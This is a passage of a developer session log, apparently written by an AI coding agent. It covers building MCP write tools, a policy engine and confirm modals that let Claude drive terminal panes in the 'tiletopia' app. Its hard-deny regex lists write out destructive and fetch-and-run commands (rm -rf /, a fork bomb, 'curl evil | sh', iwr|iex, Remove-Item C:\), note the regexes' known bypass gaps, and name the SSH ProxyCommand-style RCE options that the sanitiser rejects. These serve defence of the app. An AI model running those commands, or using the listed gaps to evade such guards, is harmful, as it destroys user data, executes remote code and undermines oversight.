Key design choice — per-install token handling. The .mcpb spec offers two ways to handle credentials: user_config prompts at install time (copy-paste), or bake them in (wrong). Both lose: copy-paste defeats the whole point of one-click, and token rotation (the Regenerate button) would silently invalidate any saved user_config value. Picked a third option not in the spec docs: bundle a tiny Node wrapper as entry_point that reads %APPDATA%\com.megaproxy.tiletopia\mcp.json at launch and execs npx -y mcp-remote ... with the live token. Zero secrets in the bundle → safe to publish on the releases page; works for any tiletopia install; transparently picks up the new token after Regenerate without the user re-doing anything.
Bundle shape (scripts/build-mcpb.mjs):
manifest.json—type: "node",entry_point: "server/index.mjs",mcp_config: { command: "node", args: ["${__dirname}/server/index.mjs"] }, version mirrorspackage.json, icon points at the 128×128 brand PNG.server/index.mjs— the wrapper. Readsmcp.json, validates port + token, spawnsnpx -y mcp-remote http://127.0.0.1:<port>/mcp --allow-http --header "Authorization: Bearer <token>"withstdio: "inherit", forwards SIGINT/SIGTERM/SIGHUP to clean up the child on extension disable.icon.png— copy ofsrc-tauri/icons/128x128.png.
Build path. pnpm run build:mcpb → dist-mcpb/tiletopia.mcpb (gitignored). Pure-Node store-only ZIP writer (~70 lines, no archiver/jszip devDep). Validated end-to-end with Python zipfile: 3 entries, valid CRCs, manifest parses. ~9 KB output.
Distribution. The script is committed; the artifact isn't (regenerable). The intent is to attach tiletopia.mcpb to each Forgejo release alongside the NSIS installer — scripts/release.sh doesn't do this yet (follow-up). The new "Download .mcpb" button in McpPanel opens the releases page; once the artifact is up there, users grab it from there.
UI changes.
McpPanel.tsx: new "Claude Desktop (one-click install)" field above the .mcp.json snippet with a "Download .mcpb" button (opens the releases URL viaplugin-opener) and a brief hint explaining zero-config token handling + the regen script. Styled inMcpPanel.css(.mcp-mcpb-row,.mcp-mcpb-btn,.mcp-mcpb-hint).McpPanel.css: also added an explicit.mcp-hintstyle that was previously inheriting (used by both the token hint and the .mcpb hint).shortcuts.ts: MCP tip now leads with the.mcpbinstall path; the mcp-remote shim is described as the fallback for Claude Code (the terminal CLI, which doesn't accept.mcpbyet).README.md: same restructure under the MCP section — Claude Desktop install via.mcpbfirst, Claude Code via mcp-remote second.
Why no in-app file save dialog? I considered bundling the .mcpb inside the Tauri NSIS as a Rust resource + exposing a download_mcpb Tauri command that opens a save dialog. Would let the panel button work fully in-app. Rejected because (a) it'd require Rust changes which I can't compile-check in WSL, (b) it duplicates what releases do for free, and (c) "Download .mcpb" landing on the releases page is the more discoverable distribution flow long-term.
Confirmed: bundle contains zero secrets. Scanned both manifest.json and server/index.mjs for Bearer ey, token=, secret, password, api_key — all clean. The wrapper reads the token from %APPDATA% at runtime on the user's machine; nothing is ever baked in.
pnpm check clean, vitest 72/72 passing.
Open follow-ups specific to this session:
- Wire
.mcpbinto the release.scripts/release.shcurrently uploads only the NSIS installer; it should also runnode scripts/build-mcpb.mjsand attach the resultingdist-mcpb/tiletopia.mcpbto the Forgejo release. Two lines + onetea releases create --assetflag. Until that's done, the "Download .mcpb" button lands on a releases page where the asset doesn't exist yet for old tags. - Direct in-app save flow. If we ever want fully-offline install (no roundtrip through the web), add a Rust-side
download_mcpbcommand that returns the bundled bytes + use@tauri-apps/plugin-dialogsave() in the panel. Not blocking — current flow is sufficient and matches how Tauri apps usually distribute extension files. - Pre-flight on the wrapper. Could detect missing
npx/ Node 18+ and emit a more directed message. Currently we just letspawnfail with whatever Node says. The "make sure Node 18+ is installed andnpxis on PATH" line in the error path is the band-aid. .mcpbfor Claude Code (CLI). Claude Code doesn't accept.mcpbbundles yet — Anthropic may add it. When they do, the same bundle should Just Work since the wrapper is platform-agnostic re: which Claude is calling it.- Bundle compatibility field. Manifest declares
platforms: ["win32"]andruntimes: { node: ">=18.0.0" }. The wrapper has a hard%APPDATA%requirement so this is correct, but if anyone ever wants macOS / Linux tiletopia support, the wrapper needs a portable config-path lookup.
2026-05-26 — Hard-deny: PowerShell patterns + label list de-duplicated
Mirrors the POSIX hard-deny rules with their Windows/PowerShell equivalents. Four new patterns:
Remove-Item/del/rd/ri/rm/erase/rmdirtargetingC:\/~/$HOME/$env:USERPROFILE/$env:APPDATA. Covers the canonicalRemove-Item -Recurse -Force C:\along with baredel C:\andrd /S /Q ~. PS aliases vary per environment so the alternation is wide.Format-Volume/Clear-Diskwith any flag. Bare cmdlet mentions (e.g.Get-Help Format-Volume) are fine; presence of-DriveLetter/-Number/ similar means an actual invocation.iwr|iexpipe form —Invoke-WebRequest/Invoke-RestMethod/iwr/irm/curl.exepiped intoInvoke-Expression/iex. The PS web-to-execute primitive. (curlin PS land is an alias forInvoke-WebRequestwhich doesn't pipe-string into anything bash-like; the actualcurl.exebinary does, hence the literalcurl\.exe.)iex (irm ...)parenthesized form. More common than the pipe form in real install one-liners.
Universal application — no shell-aware policy scoping yet. PS cmdlet names (Remove-Item, Format-Volume, iwr, iex) are distinctive enough that a bash session triggering one is virtually impossible. The "scope rules by shellKind of the target pane" work is a known follow-up but doesn't block this.
Label list de-duplicated. PolicyTab.tsx previously hardcoded the 10 POSIX labels. Adding PS rules would have forced updating both sides — and the comment in the new mcp_hard_deny_labels Tauri command notes it had already drifted from the backend twice this week. Now: backend is the SoT, frontend calls mcpHardDenyLabels() at panel mount. "Always blocked" section now renders all 14 labels live from the backend.
Tests: 20 new fuzz cases (Rule 11–14), 3-5 positive + 1-2 negative each. hard_deny_rules_count bumped from 10 → 14. 138 passed; 0 failed on Windows.
Notes for next time someone adds a hard-deny pattern:
- Update only
HARD_DENY_PATTERNSandhard_deny_rules_count. The UI list auto-syncs via the Tauri command. README's mention of "10 patterns" is now also drift-prone but lower-stakes. - PowerShell cmdlets are identified with
-in the middle (Remove-Item).\bRemove-Item\bworks because the\banchors are between word and non-word chars (R/string-start, m/non-word-after) — the-in the middle is fine. - Common PS quoting forms not yet caught (filed as follow-up if it bites): single-quoted paths (
Remove-Item -Recurse -Force 'C:\') and trailing flags after the path (Remove-Item -Recurse -Force C:\ -Confirm:$false). The regex anchor requires path → whitespace → end/operator/comment; flag-after-path doesn't fit. Common attacker copy-paste forms put the path last, so this is real-world-fine.
Open follow-ups specific to this session:
- Shell-aware policy scoping. Today PS rules apply universally (low false-positive risk but architecturally fuzzy). Per-leaf-shellKind discrimination would let users
Allow write_pane(*) on bashwhile still gating PS. Memory'd long-standing follow-up. - README drift. README's "10 hard-deny patterns" mention is stale. Either remove the count or rewrite to enumerate via a build-time script. Low priority.
2026-05-26 — Hard-deny rework: fix latent enforcement gaps surfaced by PR-4
Re-enabling the policy test module in PR-4 (the policy_with compile fix) exposed 16 pre-existing test failures. Triaged: 2 wrong assertions, 14 real bugs. Fixed all in one focused pass on mcp_policy.rs.
Two-pass is_hard_denied. The subcommand splitter (split on && || ; | |& & \n) was destroying patterns whose meaning requires them to span operators — fork bomb (:|:&) and curl-piped-to-shell (curl ... | bash) being the obvious examples. Result: 9 of the 10 advertised hard-deny rules quietly didn't enforce against the patterns the UI listed. New shape:
- Whole-input pass first — every regex tried against the un-split command. Wins fork bomb, curl|bash, anything else that needs its
|/&to match. - Per-subcommand pass second — preserves the original behaviour of catching
safe_cmd && rm -rf /after splitting. Order matters; the whole-input check is fast (compiled regex, small inputs in practice), and a whole-input hit short-circuits before splitting.
This is the load-bearing fix. The regex tweaks below are individually small but each closes a specific bypass.
Regex fixes:
- Rule 1/2 flag class:
[a-z]*r[a-z]*f?→[a-zA-Z]*[rR][a-zA-Z]*f?. Catchesrm -Rf /(uppercase R), which previously slipped through. Same change applied to rule 2 (rm -rf ~ / $HOME). - Rule 1/2 trailing anchor:
($|[;&|])→($|[#;&|]).rm -rf / # cleanupnow triggers; previously the#confused the anchor and the regex bailed. - Rule 8 shell alternation:
(ba?sh|zsh)→(ba?sh|zsh|sh). The leadingbinba?shwas mandatory, socurl evil | sh(the most common form of these install scripts) was not caught. Addingshto the alternation catches the bare POSIX shell. Verified order-dependency: at the position after\s*(sudo\s+)?, the engine triesba?shfirst, thenzsh, thensh; nothing indash/ash/whatever starts withsthenhat the right offset, so no over-match. - Rule 9 anchor:
\bchmod\s+-R\s+777\s+/→\bchmod\s+-R\s+777\s+/(\s|$|[#;&|]). The old regex matched any/(including/tmp); the new one requires the/to be followed by a path boundary, end of input, or a shell operator.chmod -R 777 /tmpnow correctly does NOT trip the rule (the desired behaviour — destructive but a deliberate user choice, not "destroy the system").
Two test assertions flipped from Some to None (hard_deny_quoted_pattern_not_matched, hard_deny_git_grep_contains_pattern). The originals expected false-positives on echo "rm -rf /" and git log --grep="rm -rf". The post-fix behaviour (NOT flagging these) is correct: searching for or printing a danger string is not the same as invoking it, and false-positives here would make a lot of claude advice unusable. The tests now document this with a comment.
Result: 118 passed; 0 failed. All my new sanitiser tests (PR-4) + all the previously-broken hard-deny tests + the 70+ that were already passing.
Things to verify next time someone touches hard-deny:
- If a new rule's pattern is intrinsically multi-operator (think
kill -9 -1,dd | gzip > device), make sure whole-input matching covers it — don't rely on the subcommand pass. - If a new rule's pattern targets a path, anchor with
\s|$|[#;&|]after the trailing/(rule 9 style) to avoid over-matching/tmpetc. - Flag character classes for case-insensitive Unix tools:
[a-zA-Z], not[a-z]. - Trailing-comment anchor: include
#in the post-pattern character class.
Open follow-ups specific to this session:
- Multi-pipe-to-shell like
curl url | grep -v foo | bashis still not caught —[^|]*\|only spans one pipe. Probably fine for v2; if it bites, broaden to[^|]*(\|[^|]*)*\|\s*...or add a second-pass that detects "any output of curl/wget reaches a shell anywhere downstream". - PowerShell hard-deny patterns (carried over from PR-3/PR-4 lists). The 10 baked-in rules remain POSIX-only.
- Audit-log persistence (carried over).
2026-05-26 — MCP v2 PR-4: add_host + delete_host + extraArgs sanitiser + third SSH safeguard
Final v2 PR. All 11 planned MCP write tools now live. Mechanically the same dispatcher shape as the other tree-shape tools; the novel bits are the extraArgs sanitiser and the third SSH-safeguard switch.
Sanitiser (hosts::sanitize_extra_args). Rejects four -o KEY=... keys that are local-RCE primitives at ssh-invocation time, before the connection is even attempted:
ProxyCommand=…— runs a shell command on connect.LocalCommand=…— runs a shell command on connect (whenPermitLocalCommand=yes).KnownHostsCommand=…— runs a shell command at handshake (CVE-2023-51385 class).PermitLocalCommand=yes— unlocks LocalCommand even if not set in this snippet. (=noand unset are fine.)
Recognises both two-arg form (-o KEY=VAL) and joined form (-oKEY=VAL), case-insensitive on the key, equals-or-space between key and value. Returns Err(reason) with the offending arg + a human-readable why. 19 fuzz tests cover positive + lookalike-negative cases (e.g. -o ServerAliveInterval=30 passes; -o proxycommand=evil fails; bad arg in the middle of a long list fails). Only the MCP add_host path runs this — manual host management via the titlebar 🔑 picker stays unrestricted, matching the "user has full agency" stance.
Third SSH safeguard: allowAddHost (default off). Gates both add_host and delete_host with the same add-host-disabled server-side error pattern as the existing allowOpenSsh gate. Bundled both tools under one switch for simplicity — delete_host is destructive but it's the natural symmetric companion to add_host. UI is a third checkbox in the SSH safeguards section; unlike autoAllowSpawnedSsh, this one isn't disabled-when-X (you can let Claude manage hosts without letting it open them, or vice versa).
Both tools are thin dispatcher wrappers, following the PR-2/PR-3 pattern exactly: arg struct → safeguard gate → in-process validation → dispatch_action with stable args_repr → frontend runMcpHandler case + buildConfirmInfo case. add_host runs pty::validate_ssh_token on hostname/user/jumpHost (made pub for cross-module use; same logic ssh-spawn would do anyway, just rejected earlier with a clearer error) plus the sanitiser on extraArgs. delete_host looks the host up in state.mirror.hosts so Claude can't probe arbitrary ids, and relies on save_ssh_hosts' existing orphan-credential sweep to clean up the keyring entry.
Backend host_id is generated frontend-side in the handler (via the same newId() helper HostManager uses → crypto.randomUUID() shape). Backend doesn't pre-generate one because the dispatcher contract is "MCP call → emit request → frontend mutates + resolves" — generating the id on whichever side actually performs the mutation keeps responsibility clean.
Pre-existing bug fixed as a prerequisite: mcp_policy.rs's policy_with test helper was constructing McpPolicy without the ssh_safeguards field (added in PR-3.5). That made the entire tests mod fail to compile, silently breaking all 30+ policy unit tests since 2026-05-26 morning. Added ssh_safeguards: SshSafeguards::default() as one-liner; tests should compile again.
Module headers + with_instructions updated to call out the new 11-tool surface, add_host's extraArgs sanitiser, and the add-host-disabled error string Claude needs to recognise. Always keep these in sync when adding tools — Claude reads with_instructions for routing decisions.
Open follow-ups specific to this session:
- Verify on Windows. PR-4 was authored in WSL;
pnpm checkis clean but Rust build/tests live on the Windows host. User tocd D:\dev\tiletopia && cargo test -p tiletopia_lib(or the equivalent) before merging, especially to confirm the 19 new sanitiser tests + the policy_with fix. - End-to-end test with Claude. Suggested smoke: toggle the new
allowAddHostswitch on; ask Claude toadd_hostwith hostnameexample.com, thenconnect_hostto it (which still needsallowOpenSsh), thendelete_host. With all three switches off,add_hostshould refuse cleanly withadd-host-disabled. - Race in concurrent
add_hostcalls. Frontend readshostsfrom the closure, buildsnext = [...hosts, newHost], callssetHosts(next)(non-functional updater). If Claude burst-fires two add_host calls and the second runs before React commits the first, the second'snextdrops the first. Pre-existing pattern (saveHostsin App.tsx:466 does the same), and in practice the confirm-modal queue serialises calls — butAlways allow add_hostusers would race. Convert tosetHosts(prev => …)+ extract the saved snapshot if it ever bites. - Sanitiser scope expansions to consider:
-F <path>lets the user point ssh at a custom config file that could contain ProxyCommand. Currently allowed. Tightening this means rejecting any caller-controlled config file. Out of scope for v2 —add_hostdoesn't expose a flag for it, and saved hosts are user-edited. - PowerShell hard-deny patterns still POSIX-only (carried over from PR-3 list).
- Per-leaf-shellKind policy scoping still wanted (carried over).
- CLAUDE.md still says Svelte 5 (still not fixed; called out in 4 session logs now).
2026-05-26 — MCP v2 PR-3 + PR-3.5: powerful writes + SSH safeguards + host-manager Connect button
Commits bf2810a (PR-3 + PR-3.5) and 6da7523 (polish bundle). 8 of 9 planned v2 tools are now live — only add_host (PR-4) remains.
PR-3 added the three highest-power tools: write_pane, spawn_pane, connect_host.
write_panesends keystrokes to a pane's PTY.args_repris the decoded text itself (not a summary) so the hard-deny matcher and user-policy globs evaluate against the exact bytes Claude wants to send. Per-pane token bucket rate limiter: 30 calls capacity + 3/s refill, sized so a sustained loop trips it within ~2s while normal use never hits it. Rate-limited calls don't emit audit rows (would just spam during an attack); they get atracing::warn!. FrontendtruncateForSummarycaps text shown in the modal + audit row to ~60 chars and escapes control chars, so a pasted token doesn't echo verbatim into the UI.spawn_pane+connect_hostrequired a new architectural piece: a spawn-completion oneshot chain in App.tsx. Backend MCP tools that mutate the tree can't reply until the new pane has been registered with a PaneId — and that only happens after React mounts XtermPane and the Taurispawn_panecommand returns. NewpendingPaneRegistrationsMap<NodeId, resolve_fn>;registerPaneIdfires waiters;waitForPaneRegistration(leafId, timeoutMs)returns a Promise the handler awaits. 15s timeout for WSL (covers cold distro start), 30s for SSH (covers handshake + auth), 60s outer cap indispatch_actionas a fail-safe.- New tree helper
splitLeafWith(root, parentId, orient, leaf)— likesplitLeafbut takes a caller-builtLeafNodewith a pre-generated id instead of minting one inside. The handler needs the id up front so it can register a waiter for it before setTree commits. - SSH-extra confirm modal —
McpConfirmSpeccarries an optionalssh: {hostLabel}context; when set, the modal renders a red warning banner explaining that pattern matching only sees the bytes we send (the remote shell expands aliases/subshells before executing) and the hard-deny still applies but this is best-effort. Detection lives inbuildConfirmInfo(renamed frombuildConfirmSummary).
PR-3.5 — SSH safeguards. Two new switches on McpPolicy.sshSafeguards, both default off (safest):
allowOpenSsh— when off,connect_hostandspawn_pane(kind=ssh)refuse server-side with a clearssh-disabled:message pointing at the Policy tab. User opens SSH manually via the titlebar 🔑 picker.autoAllowSpawnedSsh— when off, SSH panes Claude spawns start withmcpAllow=false. User must explicitly toggle 🤖 before Claude can read scrollback or write keystrokes. UI disables the second checkbox when the first is off (visual "this depends on that").
Together: fresh install + safeguards = Claude has no ability to autonomously touch SSH. Power-user can flip switches independently for graduated trust.
Polish bundle (6da7523) — three small follow-ups from PR-3 testing:
- Removed SSH variant from
mcp::spawn_pane's schema entirely. NewMcpSpawnSpecenum (Wsl | Powershell only), used only bySpawnPaneArgs. Internalpty::SpawnSpeckeeps all three for the existing frontend-driven spawn path. Reason:spawn_pane(kind=ssh)was a half-broken path — requiredhostas a mandatory field even whenhostIdwas given, so serde rejected the natural "spawn to a saved host" shape. Claude now sees two clearly-scoped tools and routes "open a pane to testbox" toconnect_hostautomatically (verified via natural-language test). - Refreshed
with_instructions+ module header comment. Both still claimed "read-only v1" long after the write surface landed; Claude was refusing tools on first contact citing the stale instructions. New text describes the actual surface, points atconnect_hostfor SSH, mentions the policy/safeguards gates. - Connect button in the SSH hosts manager. The dialog previously had only Edit — users (rightly) expected clicking a saved host to spawn an SSH pane. Green button next to Edit, wrapped in a flex container so the row's
space-betweenlayout keeps both actions right-aligned. Closes the manager on click and splits off the active pane with smart-orient.
Four integration bugs + recurring patterns worth remembering:
Tauri 2AppHandle::emitmoved onto thetauri::Emittertrait — needsuse tauri::Emitter;. The error message tells you (well, with--explain), but it's an easy stumbling block.McpErrorconstructors takeimpl Into<Cow<'static, str>>. Pass ownedStringfromformat!(...), not&format!(...)— the temporary is dropped before the'staticlifetime can be satisfied.- React 18
StrictModerace withlisten()insideuseEffect. Always use the cancelled-flag pattern; never justlet un; .then(fn => un = fn)because the cleanup runs before the Promise resolves on the pretend-unmount. - Serde rename mismatch between Rust and TS. Rust
pub ssh_safeguardsserializes asssh_safeguardsunless the struct has#[serde(rename_all = "camelCase")]. The frontend readingpolicy.sshSafeguardsgotundefined, threw during render, blanked the whole app. Addrename_allon every struct that crosses the IPC boundary.
New defensive primitive: ErrorBoundary.tsx. Wraps the App root + each MCP panel tab. A render exception anywhere shows a small red error card with the message + a "Try again" button instead of unmounting the entire React tree and showing a black window. Caught bug #4 above. Wrap any future high-risk component too (especially anything reading from MCP state).
5 of 9 v2 tools verified end-to-end with Claude: set_label, write_pane, spawn_pane (local), connect_host, close_pane (regression). The hard-deny + rate-limit + audit + confirm + Always-Allow flow all working.
Open follow-ups specific to this session, ordered by priority:
- PR-4:
add_host+extraArgssanitiser. Lets Claude register new SSH hosts in hosts.json. Sanitiser must rejectProxyCommand,LocalCommand,KnownHostsCommand,PermitLocalCommand=yes, and any-okeys that take a shell command — those are local-RCE-at-ssh-invocation primitives (CVE-2023-51385 class). Probably also bundledelete_hostfor symmetry. Consider a third SSH safeguard switch ("Allow Claude to save new SSH hosts", default off) to gate the new tool the same wayallowOpenSshgatesconnect_host. ~3-4 hours total. - v2.1 — wire the
PolicyClassifierhook. Currently scaffolded asNoopClassifier; calls falling through to Ask could optionally be upgraded to Allow by a small LLM (Haiku via Anthropic API is the cheapest path; Ollama for local). Trade-offs: API key surface in settings, latency on Ask calls, predictability vs. fewer prompts. Defer until the prompt fatigue actually starts biting in daily use. - PowerShell hard-deny patterns. Currently the 10 baked-in patterns are POSIX-only (rm -rf /, mkfs, etc.). PowerShell equivalents (
Remove-Item -Recurse -Force C:\,Format-Volume, etc.) deserve the same circuit-breaker. Add when users actually run write_pane against PowerShell panes in anger. - Per-leaf-shellKind policy scoping. Today
write_pane(*)in the Allow bucket allows ALL write_pane calls, including SSH ones — which bypasses the SSH-extra warning modal. Want something likewrite_pane(local)andwrite_pane(ssh)discriminators so users can silent-allow locally while still asking on SSH. Schema design needed: extend the glob matcher with shellKind predicates, or just hard-code that the bare-tool-name allow rule never applies to SSH targets. Probably the latter for simplicity. .mcpbbundle for one-click Claude Desktop install — would package themcp-remoteshim invocation + bearer placeholder. Same scope it was in earlier sessions.- Audit-log persistence. Currently ephemeral ring of 200. A
mcp-audit.jsonlappend-only file in app data dir would let users see "what did Claude do overnight." Trade-off: secrets-in-summaries risk ifwrite_panetext leaks past the 80-char truncation. Defer until requested. - Confirm-modal queue UX. FIFO single-modal-at-a-time today. If Claude burst-fires many tool calls, the user serially clicks through them. Adding a "reject all pending" button is cheap if it ever annoys.
- Module-level header in
mcp.rsstill calls out the 9-tool list — keep this in sync if you add or rename tools. The MCPwith_instructionstext and the tool descriptions also need attention every time the surface changes (Claude reads both for routing decisions).
2026-05-26 — MCP v2 PR-2: tree-shape writes (close, swap, promote, apply_preset)
Commit e0ce223. Four more tools wired through the existing PR-1b dispatcher pipeline (dispatch_action → policy check → confirm modal → audit), all touching the layout tree but not PTYs or spawn. Mechanically the same shape as set_label: define args struct on backend, validate via require_visible_leaf (factored out — 5 tools now use it), dispatch with stable args_repr, frontend runMcpHandler case applies the mutation via the same setters the UI uses.
apply_preset's data-loss path is non-interactive. If applying the preset would drop panes and the caller didn't pass allow_drops: true, the frontend handler throws with a descriptive message listing the labels of the panes that would be killed. Claude sees the error, decides whether to retry with allow_drops: true. Avoids ambushing the user with a destructive confirm modal — the user already approved the high-level "reshape" action; the per-pane consequences are surfaced to Claude, not them. The audit log shows the failed call so the user still sees what was attempted.
PresetName is a typed enum (single | two_columns | three_columns | two_rows | two_by_two) with serde(rename_all = "snake_case") so Claude's tool schema gets autocomplete and the JSON wire form matches apply_preset(two_columns) style policy rules.
promote_pane errors gracefully when the parent shares orientation with the grandparent — same "no perpendicular split above it" condition the Ctrl+Shift+P keyboard shortcut already toasts. Reuses the existing promoteLeaf(tree, id) === null check.
5 of 9 planned v2 tools live now. PR-3 is the materially harder one (spawn_pane / write_pane / connect_host + rate limiter + SSH-specific confirm treatment); PR-4 is add_host + extraArgs sanitiser.
2026-05-26 — MCP v2 PR-1 + PR-1b: policy engine, audit log, dispatcher, set_label end-to-end
First two of four planned PRs for the MCP write surface. Shipped via fan-out (3 Sonnet agents in parallel + 1 Haiku for fuzz tests, then sequential integration by me). Two clean commits: 464c576 (PR-1 foundation) and 26ffe88 (PR-1b dispatcher + bug fixes).
Architecture: Pattern A (event/reply RPC across the IPC boundary). Frontend keeps tree authority (it's useState in App.tsx); backend MCP tool handlers can't synchronously call into JS. Tauri 2's invoke is JS→Rust only, so a backend-initiated mutation has to round-trip through events:
[MCP tool handler] [App.tsx]
build {requestId, tool, args, ...} ⟶ emit "mcp://request"
register oneshot in PendingActions frontend dispatcher:
await rx with 30s timeout 1. policy check decided needsConfirm
2. if needsConfirm → modal queue
3. runMcpHandler mutates tree
4. invoke("mcp_action_reply", {id, result})
⟵ oneshot resolves
emit "mcp://audit" with outcome
return to MCP client
TileService now holds an AppHandle and an Arc<PendingActions> (oneshot registry keyed by uuid-shaped id). The dispatch helper centralises policy → emit → await → audit emission for every write tool.
Policy engine (src-tauri/src/mcp_policy.rs, 1152 lines). Three-tier allow / ask / deny, deny-first precedence mirroring Claude Code's .claude/settings.json shape — users already know this DSL. Glob matcher (* only, not regex) with shell-operator-aware subcommand splitting on &&, ||, ;, |, |&, &, newline — a deny rule fires if ANY subcommand matches (defeats safe-cmd && rm -rf /).
Hard-deny list — compiled-in, non-overridable, visible-only-in-UI. Ten regex patterns the user CANNOT disable, applied to write_pane shell content:
rm -rf /(and option-order variants like-Rf)rm -rf ~/rm -rf $HOMErm -rf /*:(){ :|:& };:(fork bomb)mkfs.<fs> /dev/...dd ... of=/dev/(sd|nvme|hd|disk)...> /etc/(passwd|shadow|sudoers)curl|wget ... | (sudo )?(ba?sh|zsh)(pipe to shell from network)chmod -R 777 /find / ... -delete
Caveats deliberately disclosed in the UI: best-effort accident prevention only (\rm, ${SHELL} -c, aliases all bypass); POSIX-only in v2 (PowerShell equivalents deferred to v2.1); evaluated on the bytes sent in one write_pane, not after the remote shell composes them. Not a sandbox.
73 fuzz tests for the matcher (positive variations + lookalike negatives like rm -rf /tmp/foo, dd of=backup.img, chmod 777 /tmp/file). The shape-of-rule test grid is in mod hard_deny_fuzz at the bottom of mcp_policy.rs.
Audit log surface. Backend emits mcp://audit after every tool call resolves with {tsMs, tool, argsSummary (truncated 80), result: ok|denied|failed, durationMs}. Ring buffer of 200 entries. Args summary explicitly capped — write_pane text would otherwise turn the panel into a secret-leak surface if Claude pastes a token.
McpPanel refactored into three tabs: Config / Audit / Policy. Config kept the existing snippet/regen UI. Audit is a presentational table with chip-coloured rows. Policy is three vertically-stacked allow/ask/deny buckets with add/remove + a Save button, plus a read-only "Always blocked (built-in)" section showing the 10 hard-deny labels with "Cannot be disabled" badges.
Confirm modal (McpConfirm.tsx). Amber-bordered modal. Shows tool, policy reason ("default", a matched ask rule, etc.), a human-readable summary built per-tool (Rename pane "X" → "Y"), and an expandable raw-args block. Enter = accept, Esc = reject. Third button: "Always allow {tool}" — appends bare tool name to the policy allow bucket inline, then resolves the current call. Toast confirms.
Default policy is empty → every call asks. Restrictive by design; the user enables parts. Saved to %APPDATA%\com.megaproxy.tiletopia\mcp-policy.json via the same atomic tmp+rename pattern as mcp.json/hosts.json/workspace.json.
Classifier hook scaffold (no-op). PolicyClassifier trait + ClassifierHint enum + NoopClassifier in mcp_policy.rs. Not wired into evaluate() yet — placeholder for v2.1 where a small LLM (Haiku via Anthropic API, or local Ollama) classifies ambiguous Ask calls to maybe-upgrade them to Allow. Architecture supports it without further refactor.
Demo tool wired end-to-end: set_label. Pure metadata change; reuses the existing ops.setLabel → changeLabel(tree, leafId, label) path. No PTY, no SSH, no async spawn complexity. Perfect proof-of-concept for the dispatcher — every other v2 tool follows the same shape: arg struct, validate, dispatch_action with stable args_repr, frontend handler in runMcpHandler switch.
Bugs hit during integration:
-
Tauri 2 trait-not-in-scope.
AppHandle::emitmoved ontotauri::Emittertrait in Tauri 2. The error message helpfully says "traitEmitterwhich providesemitis implemented but not in scope" — justuse tauri::Emitter;next toManager. Worth remembering for any future event-emission code. -
McpErrorconstructors want'staticstrings. Signature isimpl Into<Cow<'static, str>>. Passing&format!(...)or&e.to_string()fails (temporary value dropped while borrowed). Pass the ownedStringdirectly — auto-converts toCow::Owned. Bit me at three sites in dispatch_action. -
React 18 StrictMode race with
listen(). Classic pattern bug:useEffect(() => { let un; void listen(...).then(fn => { un = fn }); return () => un?.() }, []);is broken in StrictMode because the cleanup runs before the Promise resolves on the pretend-unmount, leaving the first subscription dangling. Real-world symptom was duplicate audit entries and modal-needs-two-clicks (each event handled by both subscriptions). Fix is the cancelled-flag pattern:let cancelled = false; let unlisten; void listen(...).then(fn => { if (cancelled) fn(); else unlisten = fn; }); return () => { cancelled = true; unlisten?.(); };Worth using anywhere we subscribe-via-Promise inside
useEffect, not just for MCP events. Vite HMR also surfaces this if you're not careful — a clean restart confirmed the fix held. -
Stale state when audit subscription lived in AuditTab. AuditTab unmounts when the user switches tabs or closes the panel; events fired during that window were dropped. Lifted subscription to App.tsx, made AuditTab presentational (props in, table out). Same pattern any "always-on log" should follow.
-
rmcp's DNS-rebinding allowlist re-bit us once. The earlier session disabled it for WSL connectivity; PR-1 didn't regress this but it's a pattern to keep flagged —
StreamableHttpServerConfig::default().disable_allowed_hosts()stays mandatory for our use case.
Frontend ↔ backend contract worth saving:
mcp://requestevent payload (camelCase):{requestId, tool, args, needsConfirm, reason}mcp://auditevent payload:{tsMs, tool, argsSummary, result: {kind:"ok"|"denied"|"failed", ...}, durationMs}mcp_action_replyTauri command takes{requestId, result}where result is externally-tagged{Ok: value}or{Err: msg}— that's serde's default tagging forResult<T,E>, NOT a custom shape.- Tauri 2 command argument-name binding: JS sends
{policy}, Rust receivespolicy: McpPolicy— direct lowercase match. McpPolicy has no#[serde(rename_all = ...)], so field keys (version,permissions,deny,ask,allow) match identity. Verified with debug-log instrumentation during the save-not-persisting investigation (it was actually working; user's first test predated the cargo rebuild).
Open follow-ups specific to this session:
- PR-2 (next):
close_pane,swap_panes,promote_pane,apply_preset. Same dispatcher shape; theapply_presetdata-loss case wants anallow_drops: truearg rather than a separate modal (per the earlier scope notes). - PR-3 (the hard one):
spawn_pane,write_pane,connect_host. Needs (a) spawn-completion oneshot resolution chain (awaitregisterPaneId), (b) per-host SSH confirm even on spawn (Claude opening a shell on prod is equally consequential to writing to it), (c) rate limiter onwrite_pane(per OWASP LLM06 + MCP spec MUST). - PR-4:
add_host+extraArgssanitiser (ProxyCommand exfil risk for OpenSSH). - v2.1 classifier: wire
PolicyClassifierintoevaluate()so Ask calls can be auto-upgraded to Allow by a small LLM. Haiku is the cheap/fast pick; needs an API key surface in settings. - PowerShell hard-deny patterns (
Remove-Item -Recurse -Force C:\,Format-Volume, etc.). Deferred until users actually use PowerShell panes with MCP enabled. .mcpbbundle — still on the list; PR-1b's stdio-shim recipe is what it would package up.- Confirm modal queueing UX — currently shows one at a time, FIFO. If Claude burst-sends many tool calls, the user gets serial modals. Probably fine for v2; if it gets annoying, add a "reject all pending" button.
- Audit log persistence — currently ephemeral ring of 200. A
mcp-audit.jsonlappend-only file in app data dir would let users see "what did Claude do overnight". Trade-off: secrets-in-summaries risk ifwrite_panetext leaks past the 80-char truncation. Deferred. - xterm.js RenderService errors (
Cannot read properties of undefined (reading 'dimensions')) showed up in dev tools during this session — completely unrelated to MCP work, likely a pane being resized or detached mid-render. File when convenient.
2026-05-26 — MCP persistence + Claude Code OAuth bug + mcp-remote shim
Set out to fix two paper cuts (port + token re-rolled every server restart, so firewall rules and .mcp.json had to be re-pasted). Ended up unwinding a multi-layer breakage in Claude Code's HTTP-MCP client.
Persistence (the actual goal, in commit 799f507):
- Added
McpPersistedConfig { port, token }saved to%APPDATA%\com.megaproxy.tiletopia\mcp.json. Default port 47821 (IANA-unassigned range).start_servertries the saved port first, falls back to OS-picked + warning log if it's taken (saved port is preserved for the next attempt — transient conflicts shouldn't burn the user's firewall rule). - New
mcp_regenerate_tokencommand + Regenerate button inMcpPanel. Confirms before rotating (existing clients break). If server is running, stops + restarts with the new token so the live auth middleware picks it up. - Token loaded on every
start_server, soMcpState.bearer_tokenis always in sync withmcp.json.
The chain of failures (each fix exposed the next layer):
- WSL → Windows TCP timeouts. User had auto-created Windows Defender Firewall Block (Public) rules for
